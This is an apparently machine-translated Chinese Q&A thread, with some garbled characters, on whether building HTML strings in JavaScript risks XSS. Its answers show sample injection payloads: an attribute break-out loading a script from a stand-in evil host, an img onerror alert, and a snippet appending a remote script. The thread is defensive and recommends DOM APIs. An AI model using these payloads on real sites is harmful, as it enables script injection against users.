在Javascript中构buildHTMLstring真的不安全吗?

托pipe我们网站的公司在部署之前审查我们的代码 – 他们最近告诉我们这个:

不应该直接操纵HTMLstring,因为这会打开潜在的XSS漏洞。 相反,总是使用DOM API创build元素…可以是jQuery或直接的DOM API。

例如,而不是

this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' ); 

他们告诉我们这样做

 var quizAuLink = $( 'a' ); quizAuLink.addClass( 'quiz-au' ); quizAuLink.data( 'src', this.au ); quizAu.text( 'Click to play' ); quizAu.prepend( '<span class="quiz-au-icon"></span>' ); 

这是真的吗? 任何人都可以给我们一个XSS攻击的例子,可以利用像第一个HTMLstring?

如果this.au以某种方式修改,它可能包含这样的内容:

 "><script src="http://example.com/evilScript.js"></script><span class=" 

这会弄乱你的HTML并注入一个脚本:

 <a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a> 

如果你使用DOM操作来设置src属性,那么脚本(或者你使用的任何其他的XSS)将不会被执行,因为它将被DOM API正确地转义。


对于一些评论者的回应是,如果有人能够修改this.au ,他们当然可以自己来运行脚本:我不知道这个this.au是从哪里来的,也不是特别相关的。 这可能是数据库中的一个值,数据库可能已经被盗用。 也可能是一个恶意用户试图为其他用户搞砸。 甚至可能是一个天真的非技术人员,他不知道写"def" > "abc"会破坏东西。


还有一件事。 在你提供的代码中, var quizAuLink = $( 'a' ); 将不会创build一个新的<a>元素。 它只会select所有现有的。 你需要使用var quizAuLink = $( '<a>' ); 创造一个新的。

这应该是一样安全的,没有太多的可读性妥协:

 var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>'); link.data("src", this.au); 

重点是避免string操作来构buildHTMLstring。 请注意,在上面,我使用$()来parsing一个常量string,它parsing为一个众所周知的结果。 在这个例子中,只有this.au部分是危险的,因为它可能包含dynamic计算的值。

由于您无法使用.innerHTML在现代浏览器中注入脚本标记,因此您需要监听一个事件:

如果this.au以某种方式修改,它可能包含这样的内容:

 "><img src="broken-path.png" onerror="alert('my injection');"><span class=" 

这会弄乱你的HTML并注入一个脚本:

 <a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a> 

因为运行更大块的JavaScript设置错误:

 var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s); 

感谢Scimoster的样板

除了安全性之外,当你用JavaScript构buildHTML时,你必须确保它是有效的。 虽然可以通过string操作*来构build和消毒HTML,但DOM操作要方便得多。 不过,你必须确切知道你的string的哪一部分是HTML,哪一部分是文本文本。

考虑下面的例子,我们有两个硬编码的variables:

 var href = "/detail?tag=hr&copy%5B%5D=1", text = "The HTML <hr> tag"; 

以下代码天真地构buildHTMLstring:

 var div = document.createElement("div"); div.innerHTML = '<a href="' + href + '">' + text + '</a>'; console.log(div.innerHTML); // <a href="/detail?tag=hr©%5B%5D=1">The HTML <hr> tag</a> 

这使用jQuery,但它仍然不正确(它使用.html() 应该是文本variables ):

 var div = document.createElement("div"); $("<a></a>").attr("href", href).html(text).appendTo(div); console.log(div.innerHTML); // <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML <hr> tag</a> 

这是正确的,因为它按预期显示文本

 var div = document.createElement("div"); $("<a></a>").attr("href", href).text(text).appendTo(div); console.log(div.innerHTML); // <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML &lt;hr&gt; tag</a> 

结论:使用DOM操作/ jQuery不保证任何安全性,但它确实是正确的一步。


*看到这个问题的例子 。 讨论了string和DOM操作。